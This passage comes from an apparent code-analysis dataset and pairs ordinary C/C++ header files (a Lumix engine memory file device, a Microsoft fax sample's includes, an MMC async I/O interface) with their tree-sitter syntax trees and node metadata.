50, "children": [53, 54], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 43}}, {"id": 53, "type": "*", "text": "*", "parent": 52, "children": [], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 9}}, {"id": 54, "type": "function_declarator", "text": "createFile(IFile* child) override", "parent": 52, "children": [55, 56, 62], "start_point": {"row": 19, "column": 10}, "end_point": {"row": 19, "column": 43}}, {"id": 55, "type": "identifier", "text": "createFile", "parent": 54, "children": [], "start_point": {"row": 19, "column": 10}, "end_point": {"row": 19, "column": 20}}, {"id": 56, "type": "parameter_list", "text": "(IFile* child)", "parent": 54, "children": [57], "start_point": {"row": 19, "column": 20}, "end_point": {"row": 19, "column": 34}}, {"id": 57, "type": "parameter_declaration", "text": "IFile* child", "parent": 56, "children": [58, 59], "start_point": {"row": 19, "column": 21}, "end_point": {"row": 19, "column": 33}}, {"id": 58, "type": "type_identifier", "text": "IFile", "parent": 57, "children": [], "start_point": {"row": 19, "column": 21}, "end_point": {"row": 19, "column": 26}}, {"id": 59, "type": "pointer_declarator", "text": "* child", "parent": 57, "children": [60, 61], "start_point": {"row": 19, "column": 26}, "end_point": {"row": 19, "column": 33}}, {"id": 60, "type": "*", "text": "*", "parent": 59, "children": [], "start_point": {"row": 19, "column": 26}, "end_point": {"row": 19, "column": 27}}, {"id": 61, "type": "identifier", "text": "child", "parent": 59, "children": [], "start_point": {"row": 19, "column": 28}, "end_point": {"row": 19, "column": 33}}, {"id": 62, "type": "identifier", "text": "override", "parent": 54, "children": [], "start_point": {"row": 19, "column": 35}, "end_point": {"row": 19, "column": 43}}, {"id": 63, "type": "function_definition", "text": "const char* name() const override { return \"memory\"; }", "parent": 21, "children": [64, 65], "start_point": {"row": 21, "column": 3}, "end_point": {"row": 21, "column": 57}}, {"id": 64, "type": "primitive_type", "text": "char", "parent": 63, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 13}}, {"id": 65, "type": "pointer_declarator", "text": "* name() const override", "parent": 63, "children": [66, 67], "start_point": {"row": 21, "column": 13}, "end_point": {"row": 21, "column": 36}}, {"id": 66, "type": "*", "text": "*", "parent": 65, "children": [], "start_point": {"row": 21, "column": 13}, "end_point": {"row": 21, "column": 14}}, {"id": 67, "type": "function_declarator", "text": "name() const override", "parent": 65, "children": [68, 69, 70], "start_point": {"row": 21, "column": 15}, "end_point": {"row": 21, "column": 36}}, {"id": 68, "type": "identifier", "text": "name", "parent": 67, "children": [], "start_point": {"row": 21, "column": 15}, "end_point": {"row": 21, "column": 19}}, {"id": 69, "type": "parameter_list", "text": "()", "parent": 67, "children": [], "start_point": {"row": 21, "column": 19}, "end_point": {"row": 21, "column": 21}}, {"id": 70, "type": "identifier", "text": "override", "parent": 67, "children": [], "start_point": {"row": 21, "column": 28}, "end_point": {"row": 21, "column": 36}}, {"id": 71, "type": "return_statement", "text": "return \"memory\";", "parent": 63, "children": [72], "start_point": {"row": 21, "column": 39}, "end_point": {"row": 21, "column": 55}}, {"id": 72, "type": "string_literal", "text": "\"memory\"", "parent": 71, "children": [], "start_point": {"row": 21, "column": 46}, "end_point": {"row": 21, "column": 54}}, {"id": 73, "type": "labeled_statement", "text": "private:\n\t\t\tIAllocator& m_allocator;", "parent": 21, "children": [], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 24, "column": 27}}, {"id": 74, "type": "binary_expression", "text": "IAllocator& m_allocator", "parent": 73, "children": [75, 76], "start_point": {"row": 24, "column": 3}, "end_point": {"row": 24, "column": 26}}, {"id": 75, "type": "identifier", "text": "IAllocator", "parent": 74, "children": [], "start_point": {"row": 24, "column": 3}, "end_point": {"row": 24, "column": 13}}, {"id": 76, "type": "identifier", "text": "m_allocator", "parent": 74, "children": [], "start_point": {"row": 24, "column": 15}, "end_point": {"row": 24, "column": 26}}]}, "node_categories": {"declarations": {"functions": [9, 14, 21, 29, 41, 54, 63, 67], "variables": [12, 17, 19, 32, 44, 50, 57], "classes": [], "imports": [3, 4, 6, 7], "modules": [], "enums": []}, "statements": {"expressions": [35, 74], "assignments": [], "loops": [], "conditionals": [10, 11, 13, 15, 16, 18, 20, 22, 23, 25, 28, 30, 33, 34, 36, 38, 42, 45, 48, 49, 51, 55, 58, 61, 62, 68, 70, 75, 76], "returns": [71], "exceptions": []}, "expressions": {"calls": [0], "literals": [5, 8, 72], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 9, "universal_type": "function", "name": "IAllocator;", "text_snippet": "namespace Lumix\n{\n\tclass IAllocator;\n\n\tnamespace FS\n\t{\n\t\tclass IFile;\n\n\t\tclass LUMIX_ENGINE_API Memo"}, {"node_id": 14, "universal_type": "function", "name": "IFile;", "text_snippet": "namespace FS\n\t{\n\t\tclass IFile;\n\n\t\tclass LUMIX_ENGINE_API MemoryFileDevice LUMIX_FINAL : public IFile"}, {"node_id": 21, "universal_type": "function", "name": "destroyFile", "text_snippet": "MemoryFileDevice LUMIX_FINAL : public IFileDevice\n\t\t{\n\t\tpublic:\n\t\t\texplicit MemoryFileDevice(IAlloca"}, {"node_id": 29, "universal_type": "function", "name": "unknown", "text_snippet": "MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator)"}, {"node_id": 41, "universal_type": "function", "name": "unknown", "text_snippet": "destroyFile(IFile* file) override"}, {"node_id": 54, "universal_type": "function", "name": "unknown", "text_snippet": "createFile(IFile* child) override"}, {"node_id": 63, "universal_type": "function", "name": "unknown", "text_snippet": "const char* name() const override { return \"memory\"; }"}, {"node_id": 67, "universal_type": "function", "name": "unknown", "text_snippet": "name() const override"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include \"engine/lumix.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"engine/fs/ifile_device.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "#pragma once\n\n#include \"engine/lumix.h\"\n#include \"engine/fs/ifile_device.h\"\n\nnamespace Lumix\n{\n\tclass IAllocator;\n\n\tnamespace FS\n\t{\n\t\tclass IFile;\n\n\t\tclass LUMIX_ENGINE_API MemoryFileDevice LUMIX_FINAL : public IFileDevice\n\t\t{\n\t\tpublic:\n\t\t\texplicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n\t\t\tvoid destroyFile(IFile* file) override;\n\t\t\tIFile* createFile(IFile* child) override;\n\n\t\t\tconst char* name() const override { return \"memory\"; }\n\n\t\tprivate:\n\t\t\tIAllocator& m_allocator;\n\t\t};\n\t} // ~namespace FS\n} // ~namespace Lumix\n"}
81,136
c
#ifndef __FAX_PRINTSDI_SAMPLE //========================================================================== // // THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF // ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO // THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A // PARTICULAR PURPOSE. // // Copyright (c) Microsoft Corporation. All rights reserved. // //-------------------------------------------------------------------------- #define __FAX_PRINTSDI_SAMPLE // //Includes // #include <windows.h> #include <winbase.h> #include <stdlib.h> #include <tchar.h> #include <strsafe.h> #include <winfax.h> #include <gdiplus.h> #include <stdio.h> #include <shellapi.h> #endif
24.97
29
(translation_unit) "#ifndef __FAX_PRINTSDI_SAMPLE \n//========================================================================== \n// \n// THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF \n// ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO \n// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A \n// PARTICULAR PURPOSE. \n// \n// Copyright (c) Microsoft Corporation. All rights reserved. \n// \n//-------------------------------------------------------------------------- \n \n#define __FAX_PRINTSDI_SAMPLE \n \n// \n//Includes \n// \n \n#include <windows.h> \n#include <winbase.h> \n#include <stdlib.h> \n#include <tchar.h> \n#include <strsafe.h> \n#include <winfax.h> \n#include <gdiplus.h> \n#include <stdio.h> \n#include <shellapi.h> \n \n#endif" (preproc_ifdef) "#ifndef __FAX_PRINTSDI_SAMPLE \n//========================================================================== \n// \n// THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF \n// ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO \n// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A \n// PARTICULAR PURPOSE. \n// \n// Copyright (c) Microsoft Corporation. All rights reserved. \n// \n//-------------------------------------------------------------------------- \n \n#define __FAX_PRINTSDI_SAMPLE \n \n// \n//Includes \n// \n \n#include <windows.h> \n#include <winbase.h> \n#include <stdlib.h> \n#include <tchar.h> \n#include <strsafe.h> \n#include <winfax.h> \n#include <gdiplus.h> \n#include <stdio.h> \n#include <shellapi.h> \n \n#endif" (#ifndef) "#ifndef" (identifier) "__FAX_PRINTSDI_SAMPLE" (comment) "//========================================================================== " (comment) "// " (comment) "// THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF " (comment) "// ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO " (comment) "// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A " (comment) "// PARTICULAR PURPOSE. " (comment) "// " (comment) "// Copyright (c) Microsoft Corporation. All rights reserved. " (comment) "// " (comment) "//-------------------------------------------------------------------------- " (preproc_def) "#define __FAX_PRINTSDI_SAMPLE \n" (#define) "#define" (identifier) "__FAX_PRINTSDI_SAMPLE" (comment) "// " (comment) "//Includes " (comment) "// " (preproc_include) "#include <windows.h> \n" (#include) "#include" (system_lib_string) "<windows.h>" (preproc_include) "#include <winbase.h> \n" (#include) "#include" (system_lib_string) "<winbase.h>" (preproc_include) "#include <stdlib.h> \n" (#include) "#include" (system_lib_string) "<stdlib.h>" (preproc_include) "#include <tchar.h> \n" (#include) "#include" (system_lib_string) "<tchar.h>" (preproc_include) "#include <strsafe.h> \n" (#include) "#include" (system_lib_string) "<strsafe.h>" (preproc_include) "#include <winfax.h> \n" (#include) "#include" (system_lib_string) "<winfax.h>" (preproc_include) "#include <gdiplus.h> \n" (#include) "#include" (system_lib_string) "<gdiplus.h>" (preproc_include) "#include <stdio.h> \n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include <shellapi.h> \n" (#include) "#include" (system_lib_string) "<shellapi.h>" (#endif) "#endif"
48
0
{"language": "c", "success": true, "metadata": {"lines": 29, "avg_line_length": 24.97, "nodes": 34, "errors": 0, "source_hash": "70907a04b71d34cb3bfbfbfa088dc148afe59bf361d5711d196f66f8c0749ace", "categorized_nodes": 32}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef __FAX_PRINTSDI_SAMPLE\r\n//==========================================================================\r\n//\r\n// THIS CODE AND INFORMATION IS PROVIDED \"AS IS\" WITHOUT WARRANTY OF\r\n// ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO\r\n// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A\r\n// PARTICULAR PURPOSE.\r\n//\r\n// Copyright (c) Microsoft Corporation. All rights reserved.\r\n//\r\n//--------------------------------------------------------------------------\r\n\r\n#define __FAX_PRINTSDI_SAMPLE\r\n\r\n//\r\n//Includes\r\n//\r\n\r\n#include <windows.h>\r\n#include <winbase.h>\r\n#include <stdlib.h>\r\n#include <tchar.h>\r\n#include <strsafe.h>\r\n#include <winfax.h>\r\n#include <gdiplus.h>\r\n#include <stdio.h>\r\n#include <shellapi.h>\r\n\r\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 28, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "__FAX_PRINTSDI_SAMPLE", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 29}}, {"id": 3, "type": "preproc_def", "text": "#define __FAX_PRINTSDI_SAMPLE\r\n", "parent": 0, "children": [4, 5], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 7}}, {"id": 5, "type": "identifier", "text": "__FAX_PRINTSDI_SAMPLE", "parent": 3, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 29}}, {"id": 6, "type": "preproc_include", "text": "#include <windows.h>\r\n", "parent": 0, "children": [7, 8], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 19, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<windows.h>", "parent": 6, "children": [], "start_point": {"row": 18, "column": 9}, "end_point": {"row": 18, "column": 20}}, {"id": 9, "type": "preproc_include", "text": "#include <winbase.h>\r\n", "parent": 0, "children": [10, 11], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 20, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<winbase.h>", "parent": 9, "children": [], "start_point": {"row": 19, "column": 9}, "end_point": {"row": 19, "column": 20}}, {"id": 12, "type": "preproc_include", "text": "#include <stdlib.h>\r\n", "parent": 0, "children": [13, 14], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 21, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<stdlib.h>", "parent": 12, "children": [], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 19}}, {"id": 15, "type": "preproc_include", "text": "#include <tchar.h>\r\n", "parent": 0, "children": [16, 17], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 8}}, {"id": 17, "type": "system_lib_string", "text": "<tchar.h>", "parent": 15, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 18}}, {"id": 18, "type": "preproc_include", "text": "#include <strsafe.h>\r\n", "parent": 0, "children": [19, 20], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 23, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 8}}, {"id": 20, "type": "system_lib_string", "text": "<strsafe.h>", "parent": 18, "children": [], "start_point": {"row": 22, "column": 9}, "end_point": {"row": 22, "column": 20}}, {"id": 21, "type": "preproc_include", "text": "#include <winfax.h>\r\n", "parent": 0, "children": [22, 23], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 24, "column": 0}}, {"id": 22, "type": "#include", "text": "#include", "parent": 21, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 8}}, {"id": 23, "type": "system_lib_string", "text": "<winfax.h>", "parent": 21, "children": [], "start_point": {"row": 23, "column": 9}, "end_point": {"row": 23, "column": 19}}, {"id": 24, "type": "preproc_include", "text": "#include <gdiplus.h>\r\n", "parent": 0, "children": [25, 26], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 25, "column": 0}}, {"id": 25, "type": "#include", "text": "#include", "parent": 24, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 8}}, {"id": 26, "type": "system_lib_string", "text": "<gdiplus.h>", "parent": 24, "children": [], "start_point": {"row": 24, "column": 9}, "end_point": {"row": 24, "column": 20}}, {"id": 27, "type": "preproc_include", "text": "#include <stdio.h>\r\n", "parent": 0, "children": [28, 29], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 26, "column": 0}}, {"id": 28, "type": "#include", "text": "#include", "parent": 27, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 8}}, {"id": 29, "type": "system_lib_string", "text": "<stdio.h>", "parent": 27, "children": [], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 18}}, {"id": 30, "type": "preproc_include", "text": "#include <shellapi.h>\r\n", "parent": 0, "children": [31, 32], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 27, "column": 0}}, {"id": 31, "type": "#include", "text": "#include", "parent": 30, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 8}}, {"id": 32, "type": "system_lib_string", "text": "<shellapi.h>", "parent": 30, "children": [], "start_point": {"row": 26, "column": 9}, "end_point": {"row": 26, "column": 21}}, {"id": 33, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 6}}]}, "node_categories": {"declarations": {"functions": [], "variables": [], "classes": [], "imports": [6, 7, 9, 10, 12, 13, 15, 16, 18, 19, 21, 22, 24, 25, 27, 28, 30, 31], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 33], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14, 17, 20, 23, 26, 29, 32], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include <windows.h>\r\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <winbase.h>\r\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <stdlib.h>\r\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include <tchar.h>\r\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include <strsafe.h>\r\n"}, {"node_id": 19, "text": "#include"}, {"node_id": 21, "text": "#include <winfax.h>\r\n"}, {"node_id": 22, "text": "#include"}, {"node_id": 24, "text": "#include <gdiplus.h>\r\n"}, {"node_id": 25, "text": "#include"}, {"node_id": 27, "text": "#include <stdio.h>\r\n"}, {"node_id": 28, "text": "#include"}, {"node_id": 30, "text": "#include <shellapi.h>\r\n"}, {"node_id": 31, "text": "#include"}]}, "original_source_code": "#ifndef __FAX_PRINTSDI_SAMPLE\r\n//==========================================================================\r\n//\r\n// THIS CODE AND INFORMATION IS PROVIDED \"AS IS\" WITHOUT WARRANTY OF\r\n// ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO\r\n// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A\r\n// PARTICULAR PURPOSE.\r\n//\r\n// Copyright (c) Microsoft Corporation. All rights reserved.\r\n//\r\n//--------------------------------------------------------------------------\r\n\r\n#define __FAX_PRINTSDI_SAMPLE\r\n\r\n//\r\n//Includes\r\n//\r\n\r\n#include <windows.h>\r\n#include <winbase.h>\r\n#include <stdlib.h>\r\n#include <tchar.h>\r\n#include <strsafe.h>\r\n#include <winfax.h>\r\n#include <gdiplus.h>\r\n#include <stdio.h>\r\n#include <shellapi.h>\r\n\r\n#endif"}
81,137
c
#ifndef __MMC_ASYNC_IO_H__ #define __MMC_ASYNC_IO_H__ #include <stdint.h> //----------------------------------------------------------------- // Prototypes: //----------------------------------------------------------------- void mmc_async_io_init(int irq_num, int max_sectors); int mmc_async_io_read(uint32_t start_block, uint8_t *buffer, uint32_t sector_count); #endif
40.33
9
(translation_unit) "#ifndef __MMC_ASYNC_IO_H__\n#define __MMC_ASYNC_IO_H__\n\n#include <stdint.h>\n\n//-----------------------------------------------------------------\n// Prototypes:\n//-----------------------------------------------------------------\nvoid mmc_async_io_init(int irq_num, int max_sectors);\nint mmc_async_io_read(uint32_t start_block, uint8_t *buffer, uint32_t sector_count);\n\n#endif\n" (preproc_ifdef) "#ifndef __MMC_ASYNC_IO_H__\n#define __MMC_ASYNC_IO_H__\n\n#include <stdint.h>\n\n//-----------------------------------------------------------------\n// Prototypes:\n//-----------------------------------------------------------------\nvoid mmc_async_io_init(int irq_num, int max_sectors);\nint mmc_async_io_read(uint32_t start_block, uint8_t *buffer, uint32_t sector_count);\n\n#endif" (#ifndef) "#ifndef" (identifier) "__MMC_ASYNC_IO_H__" (preproc_def) "#define __MMC_ASYNC_IO_H__\n" (#define) "#define" (identifier) "__MMC_ASYNC_IO_H__" (preproc_include) "#include <stdint.h>\n" (#include) "#include" (system_lib_string) "<stdint.h>" (comment) "//-----------------------------------------------------------------" (comment) "// Prototypes:" (comment) "//-----------------------------------------------------------------" (declaration) "void mmc_async_io_init(int irq_num, int max_sectors);" (primitive_type) "void" (function_declarator) "mmc_async_io_init(int irq_num, int max_sectors)" (identifier) "mmc_async_io_init" (parameter_list) "(int irq_num, int max_sectors)" (() "(" (parameter_declaration) "int irq_num" (primitive_type) "int" (identifier) "irq_num" (,) "," (parameter_declaration) "int max_sectors" (primitive_type) "int" (identifier) "max_sectors" ()) ")" (;) ";" (declaration) "int mmc_async_io_read(uint32_t start_block, uint8_t *buffer, uint32_t sector_count);" (primitive_type) "int" (function_declarator) "mmc_async_io_read(uint32_t start_block, uint8_t *buffer, uint32_t sector_count)" (identifier) "mmc_async_io_read" (parameter_list) "(uint32_t start_block, uint8_t *buffer, uint32_t sector_count)" (() "(" (parameter_declaration) "uint32_t start_block" (primitive_type) "uint32_t" (identifier) "start_block" (,) "," (parameter_declaration) "uint8_t *buffer" (primitive_type) "uint8_t" (pointer_declarator) "*buffer" (*) "*" (identifier) "buffer" (,) "," (parameter_declaration) "uint32_t sector_count" (primitive_type) "uint32_t" (identifier) "sector_count" ()) ")" (;) ";" (#endif) "#endif"
50
0
{"language": "c", "success": true, "metadata": {"lines": 9, "avg_line_length": 40.33, "nodes": 37, "errors": 0, "source_hash": "4b4c8bd9307874114c2664b60b68f46aff7ee01c7a49672008e57fce8d58c594", "categorized_nodes": 24}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef __MMC_ASYNC_IO_H__\n#define __MMC_ASYNC_IO_H__\n\n#include <stdint.h>\n\n//-----------------------------------------------------------------\n// Prototypes:\n//-----------------------------------------------------------------\nvoid mmc_async_io_init(int irq_num, int max_sectors);\nint mmc_async_io_read(uint32_t start_block, uint8_t *buffer, uint32_t sector_count);\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 20, 36], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 11, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "__MMC_ASYNC_IO_H__", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 26}}, {"id": 3, "type": "preproc_def", "text": "#define __MMC_ASYNC_IO_H__\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "__MMC_ASYNC_IO_H__", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 26}}, {"id": 6, "type": "preproc_include", "text": "#include <stdint.h>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<stdint.h>", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 19}}, {"id": 9, "type": "declaration", "text": "void mmc_async_io_init(int irq_num, int max_sectors);", "parent": 0, "children": [10, 11], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 53}}, {"id": 10, "type": "primitive_type", "text": "void", "parent": 9, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 4}}, {"id": 11, "type": "function_declarator", "text": "mmc_async_io_init(int irq_num, int max_sectors)", "parent": 9, "children": [12, 13], "start_point": {"row": 8, "column": 5}, "end_point": {"row": 8, "column": 52}}, {"id": 12, "type": "identifier", "text": "mmc_async_io_init", "parent": 11, "children": [], "start_point": {"row": 8, "column": 5}, "end_point": {"row": 8, "column": 22}}, {"id": 13, "type": "parameter_list", "text": "(int irq_num, int max_sectors)", "parent": 11, "children": [14, 17], "start_point": {"row": 8, "column": 22}, "end_point": {"row": 8, "column": 52}}, {"id": 14, "type": "parameter_declaration", "text": "int irq_num", "parent": 13, "children": [15, 16], "start_point": {"row": 8, "column": 23}, "end_point": {"row": 8, "column": 34}}, {"id": 15, "type": "primitive_type", "text": "int", "parent": 14, "children": [], "start_point": {"row": 8, "column": 23}, "end_point": {"row": 8, "column": 26}}, {"id": 16, "type": "identifier", "text": "irq_num", "parent": 14, "children": [], "start_point": {"row": 8, "column": 27}, "end_point": {"row": 8, "column": 34}}, {"id": 17, "type": "parameter_declaration", "text": "int max_sectors", "parent": 13, "children": [18, 19], "start_point": {"row": 8, "column": 36}, "end_point": {"row": 8, "column": 51}}, {"id": 18, "type": "primitive_type", "text": "int", "parent": 17, "children": [], "start_point": {"row": 8, "column": 36}, "end_point": {"row": 8, "column": 39}}, {"id": 19, "type": "identifier", "text": "max_sectors", "parent": 17, "children": [], "start_point": {"row": 8, "column": 40}, "end_point": {"row": 8, "column": 51}}, {"id": 20, "type": "declaration", "text": "int mmc_async_io_read(uint32_t start_block, uint8_t *buffer, uint32_t sector_count);", "parent": 0, "children": [21, 22], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 85}}, {"id": 21, "type": "primitive_type", "text": "int", "parent": 20, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 3}}, {"id": 22, "type": "function_declarator", "text": "mmc_async_io_read(uint32_t start_block, uint8_t *buffer, uint32_t sector_count)", "parent": 20, "children": [23, 24], "start_point": {"row": 9, "column": 5}, "end_point": {"row": 9, "column": 84}}, {"id": 23, "type": "identifier", "text": "mmc_async_io_read", "parent": 22, "children": [], "start_point": {"row": 9, "column": 5}, "end_point": {"row": 9, "column": 22}}, {"id": 24, "type": "parameter_list", "text": "(uint32_t start_block, uint8_t *buffer, uint32_t sector_count)", "parent": 22, "children": [25, 28, 33], "start_point": {"row": 9, "column": 22}, "end_point": {"row": 9, "column": 84}}, {"id": 25, "type": "parameter_declaration", "text": "uint32_t start_block", "parent": 24, "children": [26, 27], "start_point": {"row": 9, "column": 23}, "end_point": {"row": 9, "column": 43}}, {"id": 26, "type": "primitive_type", "text": "uint32_t", "parent": 25, "children": [], "start_point": {"row": 9, "column": 23}, "end_point": {"row": 9, "column": 31}}, {"id": 27, "type": "identifier", "text": "start_block", "parent": 25, "children": [], "start_point": {"row": 9, "column": 32}, "end_point": {"row": 9, "column": 43}}, {"id": 28, "type": "parameter_declaration", "text": "uint8_t *buffer", "parent": 24, "children": [29, 30], "start_point": {"row": 9, "column": 45}, "end_point": {"row": 9, "column": 60}}, {"id": 29, "type": "primitive_type", "text": "uint8_t", "parent": 28, "children": [], "start_point": {"row": 9, "column": 45}, "end_point": {"row": 9, "column": 52}}, {"id": 30, "type": "pointer_declarator", "text": "*buffer", "parent": 28, "children": [31, 32], "start_point": {"row": 9, "column": 53}, "end_point": {"row": 9, "column": 60}}, {"id": 31, "type": "*", "text": "*", "parent": 30, "children": [], "start_point": {"row": 9, "column": 53}, "end_point": {"row": 9, "column": 54}}, {"id": 32, "type": "identifier", "text": "buffer", "parent": 30, "children": [], "start_point": {"row": 9, "column": 54}, "end_point": {"row": 9, "column": 60}}, {"id": 33, "type": "parameter_declaration", "text": "uint32_t sector_count", "parent": 24, "children": [34, 35], "start_point": {"row": 9, "column": 62}, "end_point": {"row": 9, "column": 83}}, {"id": 34, "type": "primitive_type", "text": "uint32_t", "parent": 33, "children": [], "start_point": {"row": 9, "column": 62}, "end_point": {"row": 9, "column": 70}}, {"id": 35, "type": "identifier", "text": "sector_count", "parent": 33, "children": [], "start_point": {"row": 9, "column": 71}, "end_point": {"row": 9, "column": 83}}, {"id": 36, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 6}}]}, "node_categories": {"declarations": {"functions": [11, 22], "variables": [9, 14, 17, 20, 25, 28, 33], "classes": [], "imports": [6, 7], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 12, 16, 19, 23, 27, 32, 35, 36], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 11, "universal_type": "function", "name": "max_sectors)", "text_snippet": "mmc_async_io_init(int irq_num, int max_sectors)"}, {"node_id": 22, "universal_type": "function", "name": "unknown", "text_snippet": "mmc_async_io_read(uint32_t start_block, uint8_t *buffer, uint32_t sector_count)"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include <stdint.h>\n"}, 